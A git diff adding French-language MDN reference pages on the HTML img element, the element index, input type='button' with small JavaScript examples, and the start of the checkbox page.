+<p>L'attribut <code>src</code> est ignoré lorsque l'agent utilisateur prend en charge <code>srcset</code> et que ce dernier contient des descripteurs avec '<code>w</code>'. Dans cet exemple, lorsque la condition <code>(min-width: 600px)</code> est vérifiée pour le média utilisé, la largeur de l'image sera 200px, sinon, elle occupera <code>50vw</code> (ce qui correspond à 50% de la largeur de la zone d'affichage (<em>viewport</em>)).</p>
+
+<pre class="brush: html"> &lt;img src="/files/16796/clock-demo-thumb-200px.png"
+      alt="Clock"
+      srcset="/files/16796/clock-demo-thumb-200px.png 200w,
+              /files/16796/clock-demo-thumb-400px.png 400w"
+      sizes="(min-width: 600px) 200px, 50vw"&gt;</pre>
+
+<p>{{EmbedLiveSample("Utiliser_les_attributs_srcset_et_sizes", "100%", 350)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Pour observer l'effet du redimensionnement, vous devrez consulter <a href="https://mdn.mozillademos.org/en-US/docs/Web/HTML/Element/img$samples/Using_the_srcset_and_sizes_attributes">l'exemple sur une page séparée</a> afin de pouvoir modifier la taille de la zone.</p>
+</div>
+
+<h2 id="Sécurité_et_vie_privée">Sécurité et vie privée</h2>
+
+<p>Bien que les éléments <code>&lt;img&gt;</code> soient la plupart du temps utilisés respectueusement, ils peuvent permettre de récupérer des informations précises, parfois utilisées pour pister les utilisateurs. Voir la page <a href="/fr/docs/Web/Security/Referer_header:_privacy_and_security_concerns">sur l'en-tête referer</a> pour plus d'informations et des façons de résoudre ces problèmes.</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<h3 id="Rédiger_des_descriptions">Rédiger des descriptions</h3>
+
+<p>L'attribut <code>alt</code> doit décrire le contenu de l'image de façon claire et concise. L'attribut ne doit pas décrire la présence même de l'image ou le nom du fichier. Si l'attribut <code>alt</code> n'est pas utilisé car l'image ne possède pas d'équivalent textuel, il faudra utiliser d'autres méthodes alternative pour présenter le contenu que l'image doit véhiculer.</p>
+
+<h4 id="Invalides">Invalides</h4>
+
+<pre class="brush: html example-bad">&lt;img alt="image" src="manchot.jpg"&gt;
+</pre>
+
+<h4 id="Valides">Valides</h4>
+
+<pre class="brush: html example-good">&lt;img alt="Un manchot Rockhopper se tenant sur une plage." src="manchot.jpg"&gt;
+</pre>
+
+<p>Lorsque l'attribut <code>alt</code> n'est pas présent, certains lecteurs d'écran peuvent énoncer le nom du fichier. Cela peut être source de confusion car le nom du fichier n'est pas représentatif du contenu de l'image.</p>
+
+<ul>
+ <li><em><a href="https://www.w3.org/WAI/tutorials/images/decision-tree/">An alt Decision Tree • Images • WAI Web Accessibility Tutorials</a></em><a href="https://www.w3.org/WAI/tutorials/images/decision-tree/"> (en anglais)</a></li>
+ <li><em><a href="https://axesslab.com/alt-texts/">Alt-texts: The Ultimate Guide - Axess Lab</a></em><a href="https://axesslab.com/alt-texts/"> (en anglais)</a></li>
+ <li><em><a href="https://www.deque.com/blog/great-alt-text-introduction/">How to Design Great Alt Text: An Introduction - Deque</a></em><a href="https://www.deque.com/blog/great-alt-text-introduction/"> (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_—_Providing_text_alternatives_for_non-text_content">Comprendre les règles WCAG 1.1</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/text-equiv-all.html"><em>Understanding Success Criterion 1.1.1 - W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h3 id="Lattribut_title">L'attribut <code>title</code></h3>
+
+<p>L'attribut {{HTMLattrxref("title")}} n'a pas vocation à remplacer l'attribut <code>alt</code>. De plus, on évitera d'utiliser la même valeur pour <code>alt</code> et <code>title</code> car certains lecteurs d'écran répèteraient deux fois la description, entraînant une certaine confusion.</p>
+
+<p>L'attribut <code>title</code> ne doit pas non plus être utilisé comme une source d'information complémentaire à la description fourni par <code>alt</code>. Si l'image nécessite une légende, on utilisera plutôt les éléments {{HTMLElement("figure")}} et {{HTMLElement("figcaption")}}.</p>
+
+<p>La valeur de l'attribut <code>title</code> est généralement présentée sous la forme d'une bulle d'information lorsqu'on immobilise le curseur au dessus de l'image. Bien que cette méthode puisse être utilisée pour fournir des informations supplémentaires, on ne doit pas partir du principe que ce contenu sera nécessairement vu. Si les informations présentées par <code>title</code> sont importantes, il faudra les présenter d'une autre façon (cf. ci-avant) pour que les utilisateurs puissent réellement en bénéficier.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2013/01/using-the-html-title-attribute-updated/"><em>Utiliser l'attribut HTML <code>title</code> - The Paciello Group</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/Guide/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/Guide/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/Guide/HTML/Catégorie_de_contenu#Contenu_phras%C3%A9">contenu phrasé</a>, <a href="/fr/docs/Web/Guide/HTML/Catégorie_de_contenu#Contenu_int%C3%A9gr%C3%A9">contenu intégré</a>, <a href="/fr/docs/Web/Guide/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>. Si l'élément possède un attribut {{htmlattrxref("usemap", "img")}}, c'est également un <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_interactif">contenu interactif</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Aucun, cet élément est un élément vide.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balise</th>
+   <td>Cet élément doit avoir une balise de début et ne doit pas avoir de balise de fin.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du contenu intégré.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLImageElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Ajout de l'attribut <code>referrerpolicy</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-img-element', '&lt;img&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-img-element', '&lt;img&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.2', '&lt;img&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.img")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML">Les images en HTML</a></li>
+ <li><a href="/fr/docs/Apprendre/HTML/Comment/Ajouter_des_images_adaptatives_à_une_page_web">Les images <em>responsive</em></a></li>
+ <li>{{HTMLElement("picture")}}</li>
+ <li>{{HTMLElement("object")}}</li>
+ <li>{{HTMLElement("embed")}}</li>
+ <li>Les propriétés CSS relatives aux images :
+  <ul>
+   <li>{{cssxref("object-fit")}},</li>
+   <li>{{cssxref("object-position")}},</li>
+   <li>{{cssxref("image-orientation")}},</li>
+   <li>{{cssxref("image-rendering")}},</li>
+   <li>{{cssxref("image-resolution")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/index.html b/files/fr/web/html/element/index.html
new file mode 100644
index 0000000000..554d337d1d
--- /dev/null
+++ b/files/fr/web/html/element/index.html
@@ -0,0 +1,117 @@
+---
+title: Référence des éléments HTML
+slug: Web/HTML/Element
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element
+---
+<div>{{HTMLSidebar("Elements")}}</div>
+
+<p>Cette page énumère tous les éléments HTML, regroupés ici selon leurs fonctions. Sur la barre latérale présentée à gauche, vous pourrez trouver une liste suivant l'ordre alphabétique.</p>
+
+<h2 id="Éléments_de_base">Éléments de base</h2>
+
+<p>Les éléments de base constituent la colonne vertébrale de tout document HTML. Ils se trouvent sur toutes les pages web après la déclaration du <code>doctype</code> qui définit la version de (X)HTML utilisée par la page. Les éléments décrivant le contenu d'une page web se trouvent entre la balise ouvrante {{HTMLElement("html")}} et la balise fermante <code>&lt;/html&gt;</code>. L'élément {{HTMLElement("html")}} est parfois appelé l'élément « racine ». Certains documents complexes peuvent avoir des racines spéciales appelées <em><a href="/fr/docs/Web/API/ShadowRoot">shadow-roots</a></em>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> On pourra également consulter <a href="/fr/Apprendre/Commencer_avec_le_web/Les_bases_HTML">l'article introductif du guide HTML</a>.</p>
+</div>
+
+<h3 id="Attributs">Attributs</h3>
+
+<p>La plupart des éléments peuvent, ou doivent, utiliser des informations supplémentaires afin de définir la façon dont ils fonctionnent. Ces détails sont fournis via des paires <code>nom="valeur"</code> qu'on appelle des <em>attributs</em> et qui sont inclus dans la balise ouvrante de l'élément. Chaque élément possède un ensemble d'attributs autorisés qui peuvent être utilisés (on se référera aux pages des différents éléments pour avoir le détail). En outre, il existe <a href="/fr/docs/Web/HTML/Attributs_universels">des attributs universels</a> qui peuvent être employés sur tous les éléments (dans certains cas, l'attribut n'aura pas d'impact sur l'élément). Les valeurs des attributs doivent être entourées de doubles quotes. On peut également définir <a href="/fr/docs/Web/HTML/Attributs_universels/data-*">des attributs de données</a> qui permettent de modéliser des données propriétaires, hors du cadre des spécifications HTML.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">&lt;nomDeBalise attribut1="valeur" ... attributN="valeur"&gt;contenu de l'élément&lt;/nomDeBalise&gt;</pre>
+
+<h2 id="Racine_principale">Racine principale</h2>
+
+<p>{{HTMLRefTable("HTML Root Element")}}</p>
+
+<h2 id="Métadonnées_du_document">Métadonnées du document</h2>
+
+<p>Les métadonnées contiennent des informations à propos de la page. On y retrouve les informations à propos des styles, des scripts et des données destinées à aider les moteurs de recherche et les navigateur. Les métadonnées relatives à la mise en forme ou aux scripts peuvent être définies à même la page ou sous la forme d'un lien vers un autre fichier.</p>
+
+<p>{{HTMLRefTable("HTML Document Metadata")}}</p>
+
+<h2 id="Racine_de_sectionnement">Racine de sectionnement</h2>
+
+<p>{{HTMLRefTable("Sectioning Root Element")}}</p>
+
+<h2 id="Sectionnement_du_contenu">Sectionnement du contenu</h2>
+
+<p>Organiser le contenu d'une page en différentes sections permet d'avoir une structure logique au sein d'un document. Grâce à ces éléments, on peut créer un plan pour la page, ajouter des titres pour identifier les sections et également gérer un en-tête et un bas de page.</p>
+
+<p>{{HTMLRefTable("HTML Sections")}}</p>
+
+<h2 id="Contenu_textuel">Contenu textuel</h2>
+
+<p>Le contenu HTML textuel permet d'organiser des blocs ou des sections de contenu entre la balise ouvrante {{HTMLElement("body")}} et la balise fermante <code>&lt;/body&gt;</code>. Ces éléments sont cruciaux pour l'accessibilité et le référencement car ils permettent d'identifier le sens du contenu.</p>
+
+<p>{{HTMLRefTable("HTML Grouping Content")}}</p>
+
+<h2 id="Sémantique_du_texte_en_ligne">Sémantique du texte en ligne</h2>
+
+<p>Les éléments pour le texte en ligne peuvent être utilisés pour définir la signification, la structure ou la mise en forme d'un terme, d'une ligne ou d'un fragment de texte.</p>
+
+<p>{{HTMLRefTable("HTML Text-Level Semantics")}}</p>
+
+<h2 id="Images_et_médias">Images et médias</h2>
+
+<p>HTML prend en charge différents fichiers multimédias pour les images, les fichiers audio et vidéo.</p>
+
+<p>{{HTMLRefTable("multimedia")}}</p>
+
+<h2 id="Contenu_embarqué">Contenu embarqué</h2>
+
+<p>En plus du contenu multimédia, un document HTML peut embarquer d'autres contenus (bien que les interactions soient plutôt limitées).</p>
+
+<p>{{HTMLRefTable({"include":["HTML embedded content"], "exclude":["multimedia"]})}}</p>
+
+<h2 id="Scripts">Scripts</h2>
+
+<p>Afin de créer du contenu dynamique et des applications web, des langages de script peuvent être utilisés pour manipuler le document HTML. Certains éléments HTML permettent de gérer les liens entre les scripts et le document.</p>
+
+<p>{{HTMLRefTable("HTML Scripting")}}</p>
+
+<h2 id="Gestion_de_l'édition">Gestion de l'édition</h2>
+
+<p>Ces éléments permettent d'indiquer si des portions du texte ont été modifiées.</p>
+
+<p>{{HTMLRefTable("HTML Edits")}}</p>
+
+<h2 id="Contenu_tabulaire">Contenu tabulaire</h2>
+
+<p>Les éléments listés ici permettent de créer et de gérer des données tabulaires.</p>
+
+<p>{{HTMLRefTable("HTML tabular data")}}</p>
+
+<h2 id="Formulaires">Formulaires</h2>
+
+<p>HTML fournit différents éléments qui permettent de créer des formulaires pouvant être remplis par les utilisateurs du site ou de l'application web.</p>
+
+<p>{{HTMLRefTable({"include": ["HTML forms"], "exclude":["Deprecated"]})}}</p>
+
+<h2 id="Éléments_interactifs">Éléments interactifs</h2>
+
+<p>HTML fournit différents éléments qui permettent de créer des interfaces utilisateur interactives.</p>
+
+<p>{{HTMLRefTable("HTML interactive elements")}}</p>
+
+<h2 id="Web_Components"><em>Web Components</em></h2>
+
+<p>Les composants web (ou « <em>Web Components</em> ») permettent de créer et d'utiliser des éléments personnalisés comme s'ils étaient des éléments HTML classiques. Cela permet également de créer ses propres versions des éléments standards HTML.</p>
+
+<p>{{HTMLRefTable({"include":["Web Components"],"elements":["shadow"]})}}</p>
+
+<h2 id="Éléments_obsolètes_ou_dépréciés">Éléments obsolètes ou dépréciés</h2>
+
+<div class="warning">
+<p><strong>Attention :</strong> Ces éléments sont d'anciens éléments HTML qui sont désormais dépréciés et qui ne devraient plus être utilisés. <strong>Ces éléments ne doivent pas être utilisés dans de nouveaux projets et doivent être remplacés dans les anciens projets dès que possible.</strong> Ces éléments uniquement sont listés ici à des fins d'information.</p>
+</div>
+
+<p>{{HTMLRefTable({"include":["Deprecated","Obsolete"]})}}</p>
diff --git a/files/fr/web/html/element/input/button/index.html b/files/fr/web/html/element/input/button/index.html
new file mode 100644
index 0000000000..da1c6786e2
--- /dev/null
+++ b/files/fr/web/html/element/input/button/index.html
@@ -0,0 +1,348 @@
+---
+title: <input type ="button">
+slug: Web/HTML/Element/Input/button
+tags:
+  - Element
+  - HTML
+  - Input
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/input/button
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Les éléments {{HTMLElement("input")}} de type <strong><code>button</code></strong> sont affichés comme des boutons poussoirs qui peuvent être programmés afin de contrôler des fonctionnalités de la page via un gestionnaire d'évènement (la plupart du temps pour l'évènement {{event("click")}}).</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-button.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note </strong>: Bien que les éléments <code>&lt;input&gt;</code> de type <code>"button"</code> représentent toujours des éléments HTML valides, l'élément {{HTMLElement("button")}}, plus récent, est la meilleure méthode pour créer des boutons hors d'un formulaire. Il est aussi possible d'insérer des éléments HTML dans l'étiquette du bouton, ce qui permet notamment d'avoir des images.</p>
+</div>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>L'attribut {{htmlattrxref("value", "input")}} d'un t'el élément contient une chaîne de caractères qui est utilisée comme étiquette pour le bouton (autrement dit, comme texte affiché sur le bouton).</p>
+
+<div id="summary-example3">
+<pre class="brush: html">&lt;input type="button" value="Bouton cliquer"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example3", 650, 30)}}</p>
+
+<p>Si on n'indique aucune valeur, le bouton sera vide :</p>
+
+<div id="summary-example1">
+<pre class="brush: html">&lt;input type="button"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example1", 650, 30)}}</p>
+
+<h2 id="Utiliser_les_boutons_&lt;input>">Utiliser les boutons <code>&lt;input&gt;</code></h2>
+
+<p>Les éléments <code>&lt;input type="button"&gt;</code> ne possèdent pas de comportement particulier (leurs analogues <code><a href="/fr/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code> et <code><a href="/fr/docs/Web/HTML/Element/input/reset">&lt;input type="reset"&gt;</a></code> permettent respectivement d'envoyer et de réinitialiser des formulaires). Pour qu'un bouton <code>&lt;input type="button"&gt;</code> puisse avoir un effet, il est nécessaire d'écrire quelques lignes JavaScript.</p>
+
+<h3 id="Un_bouton_simple">Un bouton simple</h3>
+
+<p>Dans cet exemple, commençons par créer un bouton simple avec un gestionnaire d'évènement permettant de déclencher une action au clic afin de démarrer cette machine (enfin, pour être plus précis : on échangera la valeur de l'attribut <code>value</code> du bouton et le texte situé dans le paragraphe qui suit) :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;input type="button" value="Démarrer la machine"&gt;
+&lt;/form&gt;
+&lt;p&gt;La machine est arrêtée.&lt;/p&gt;</pre>
+
+<pre class="brush: js">var btn = document.querySelector('input');
+var txt = document.querySelector('p');
+
+btn.addEventListener('click', updateBtn);
+
+function updateBtn() {
+  if (btn.value === 'Démarrer la machine') {
+    btn.value = 'Arrêter la machine';
+    txt.textContent = 'La machine est démarrée !';
+  } else {
+    btn.value = 'Démarrer la machine';
+    txt.textContent = 'La machine est arrêtée.';
+  }
+}</pre>
+
+<p>Dans ce script, on récupère une référence à l'objet {{domxref("HTMLInputElement")}} qui représente l'élément <code>&lt;input&gt;</code> du DOM et on stocke cette référence dans la variable <code>btn</code>. {{domxref("EventTarget.addEventListener", "addEventListener()")}} pour ensuite lui rattacher une fonction qui sera utilisée lorsque l'évènement {{event("click")}} se produira sur le bouton.</p>
+
+<p>{{EmbedLiveSample("Un_bouton_simple", 650, 100)}}</p>
+
+<h3 id="Ajouter_des_raccourcis_clavier">Ajouter des raccourcis clavier</h3>
+
+<p>Les raccourcis clavier permettent à un utilisateur de déclencher une action grâce à une touche ou grâce à une combinaison de touches du clavier. Pour ajouter un raccourci clavier déclenchant le bouton, on pourra ajouter l'attribut universel <code><a href="/fr/docs/Web/HTML/Attributs_universels/accesskey">accesskey</a></code> (qu'on peut d'ailleurs utiliser pour les autres éléments {{HTMLElement("input")}}).</p>
+
+<p>Dans l'exemple qui suit, on définit <kbd>s</kbd> comme raccourci (autrement dit, il faudra appuyer sur la touche <kbd>s</kbd> avec une ou plusieurs touches supplémentaires qui dépendent du navigateur et du système d'exploitation, cf. <code><a href="/fr/docs/Web/HTML/Attributs_universels/accesskey">accesskey</a></code> pour la liste de ces touches).</p>
+
+<div id="accesskey-example1">
+<pre class="brush: html">&lt;form&gt;
+  &lt;input type="button" value="Démarrer la machine" accesskey="s"&gt;
+&lt;/form&gt;
+&lt;p&gt;La machine est arrêtée.&lt;/p&gt;
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: js">var btn = document.querySelector('input');
+var txt = document.querySelector('p');
+
+btn.addEventListener('click', updateBtn);
+
+function updateBtn() {
+  if (btn.value === 'Démarrer la machine') {
+    btn.value = 'Arrêter la machine';
+    txt.textContent = 'La machine est démarrée !';
+  } else {
+    btn.value = 'Démarrer la machine';
+    txt.textContent = 'La machine est arrêtée.';
+  }
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Ajouter_des_raccourcis_clavier", 650, 100)}}</p>
+
+<div class="note">
+<p><strong>Note </strong>: Un problème de cet exemple est que l'utilisateur ne saura pas quelle touche utiliser comme raccourci. Dans un cas concret, cette information serait affichée ou fournie via un lien simple d'accès qui décrirait les raccourcis disponibles.</p>
+</div>
+
+<h3 id="Désactiver_et_activer_un_bouton">Désactiver et activer un bouton</h3>
+
+<p>Pour désactiver un bouton, il suffit d'ajouter l'attribut universel {{htmlattrxref("disabled")}} :</p>
+
+<div id="disable-example1">
+<pre class="brush: html">&lt;input type="button" value="Je suis désactivé" disabled&gt;</pre>
+</div>
+
+<p>Il est possible d'activer ou de désactiver des boutons lors de de l'utilisation de la page en modifiant l'attribut <code>disabled</code> de l'élément dans le DOM. Dans l'exemple qui suit, le bouton est initialement activé et si on appuie dessus : il devient désactivé (c'est ce que fait la ligne de code <code>btn.disabled = true</code>). La fonction {{domxref("WindowTimers.setTimeout","setTimeout()")}} est ensuite utilisée afin de réinitialiser le bouton après deux secondes.</p>
+
+<div class="hidden">
+<h6 id="Hidden_code_1">Hidden code 1</h6>
+
+<pre class="brush: html">&lt;input type="button" value="Activé"&gt;</pre>
+
+<pre class="brush: js">var btn = document.querySelector('input');
+
+btn.addEventListener('click', disableBtn);
+
+function disableBtn() {
+  btn.disabled = true;
+  btn.value = 'Désactivé';
+  window.setTimeout(function() {
+    btn.disabled = false;
+    btn.value = 'Activé';
+  }, 2000);
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Hidden_code_1", 650, 60)}}</p>
+
+<p>Si l'attribut <code>disabled</code> n'est pas fourni, il est hérité depuis l'élément parent. De cette façon, on peut activer/désactiver des groupes d'éléments en les plaçant dans un conteneur (par exemple un élément {{HTMLElement("fieldset")}}) et en indiquant <code>disabled</code> sur le conteneur.</p>
+
+<p>C'est ce qu'illustre l'exemple suivant. Il est semblable à l'exemple précédent mais l'attribut  <code>disabled</code> est activé sur l'élément <code>&lt;fieldset&gt;</code> lorsqu'on appuie sur le premier bouton. Les trois autres boutons sont donc désactivés pendant deux secondes.</p>
+
+<div class="hidden">
+<h6 id="Hidden_code_2">Hidden code 2</h6>
+
+<pre class="brush: html">&lt;fieldset&gt;
+  &lt;legend&gt;Groupe de boutons &lt;/legend&gt;
+  &lt;input type="button" value="Bouton 1"&gt;
+  &lt;input type="button" value="Bouton 2"&gt;
+  &lt;input type="button" value="Bouton 3"&gt;
+&lt;/fieldset&gt;</pre>
+
+<pre class="brush: js">var btn = document.querySelector('input');
+var fieldset = document.querySelector('fieldset');
+
+btn.addEventListener('click', disableBtn);
+
+function disableBtn() {
+  fieldset.disabled = true;
+  window.setTimeout(function() {
+    fieldset.disabled = false;
+  }, 2000);
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Hidden_code_2", 650, 60)}}</p>
+
+<div class="note">
+<p><strong>Note </strong>: À la différence des autres navigateurs, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">Firefox conservera un état désactivé obtenu de façon dynamique lorsque la page est rechargée</a>. L'attribut {{htmlattrxref("autocomplete","button")}} peut être utilisé afin de contrôler cette fonctionnalité.</p>
+</div>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Les éléments <code>&lt;input</code><code> type="button"</code><code>&gt;</code> n'ont pas de contrainte de validation.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on montre une application de dessin très simple qui utilise un élément {{htmlelement("canvas")}}, une courte feuille de style CSS (masquée) et du code JavaScript. Les deux contrôles situés en haut permettent de choisir la couleur et la taille de la pointe du crayon. Le bouton quant à lui permet de réinitialiser le canevas.</p>
+
+<pre class="brush: html">&lt;div class="toolbar"&gt;
+  &lt;input type="color" aria-label="Sélectionner la couleur du crayon"&gt;
+  &lt;input type="range" min="2" max="50" value="30" aria-label="Sélectionner la taille de la pointe du crayon"&gt;&lt;span class="output"&gt;30&lt;/span&gt;
+  &lt;input type="button" value="Réinitialiser le canevas"&gt;
+&lt;/div&gt;
+
+&lt;canvas class="myCanvas"&gt;
+  &lt;p&gt;Votre navigateur ne semble pas prendre en charge cette fonctionnalité.&lt;/p&gt;
+&lt;/canvas&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  margin: 0;
+  overflow: hidden;
+  background: #ccc;
+}
+
+.toolbar {
+  width: 150px;
+  height: 75px;
+  background: #ccc;
+  padding: 5px;
+}
+
+input[type="color"], input[type="button"] {
+  width: 90%;
+  margin: 0 auto;
+  display: block;
+}
+
+input[type="range"] {
+  width: 70%;
+}
+
+ span {
+   position: relative;
+   bottom: 5px;
+ }</pre>
+</div>
+
+<pre class="brush: js">var canvas = document.querySelector('.myCanvas');
+var width = canvas.width = window.innerWidth;
+var height = canvas.height = window.innerHeight-85;
+var ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'rgb(0,0,0)';
+ctx.fillRect(0,0,width,height);
+
+var colorPicker = document.querySelector('input[type="color"]');
+var sizePicker = document.querySelector('input[type="range"]');
+var output = document.querySelector('.output');
+var clearBtn = document.querySelector('input[type="button"]');
+
+// On convertit des degrés en radians
+function degToRad(degrees) {
+  return degrees * Math.PI / 180;
+};
+
+// On met à jour la valeur pour le sélecteur
+// de taille
+sizePicker.oninput = function() {
+  output.textContent = sizePicker.value;
+}
+
+// On enregistre les coordonnées du pointeur de la souris
+// emouse pointer coordinates, and whether the button is pressed
+var curX;
+var curY;
+var pressed = false;
+
+// On met à jour les coordonnées du pointeur
+document.onmousemove = function(e) {
+  curX = (window.Event) ? e.pageX : e.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
+  curY = (window.Event) ? e.pageY : e.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+}
+
+canvas.onmousedown = function() {
+  pressed = true;
+};
+
+canvas.onmouseup = function() {
+  pressed = false;
+}
+
+clearBtn.onclick = function() {
+  ctx.fillStyle = 'rgb(0,0,0)';
+  ctx.fillRect(0,0,width,height);
+}
+
+function draw() {
+  if(pressed) {
+    ctx.fillStyle = colorPicker.value;
+    ctx.beginPath();
+    ctx.arc(curX, curY-85, sizePicker.value, degToRad(0), degToRad(360), false);
+    ctx.fill();
+  }
+
+  requestAnimationFrame(draw);
+}
+
+draw();</pre>
+
+<p>{{EmbedLiveSample("Exemples", '100%', 600)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>A {{domxref("DOMString")}} used as the button's label</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{event("click")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en Supported common attributes</strong></td>
+   <td>{{htmlattrxref("type", "input")}}, and {{htmlattrxref("value", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>Aucune</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#button-state-(type=button)', '&lt;input type="button"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#button-state-(type=button)', '&lt;input type="button"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-button")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément {{HTMLElement("input")}}</li>
+ <li>L'interface DOM {{domxref("HTMLInputElement")}} implémentée par l'élément</li>
+ <li>L'élément {{HTMLElement("button")}}, plus moderne</li>
+</ul>
diff --git a/files/fr/web/html/element/input/checkbox/index.html b/files/fr/web/html/element/input/checkbox/index.html
new file mode 100644
index 0000000000..7d6b99e4fb
--- /dev/null
+++ b/files/fr/web/html/element/input/checkbox/index.html
@@ -0,0 +1,344 @@
+---
+title: <input type="checkbox">
+slug: Web/HTML/Element/Input/checkbox
+tags:
+  - Element
+  - HTML
+  - Input
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/input/checkbox
+---
+<div>{{HTMLRef}}</div>
+
+<p>Les éléments {{htmlelement("input")}} de type <strong><code>checkbox</code></strong> sont affichés sous la forme de boîtes à cocher qui sont cochées lorsqu'elles sont activées. Elles permettent de sélectionner une ou plusieurs valeurs dans un formulaire.</p>
+
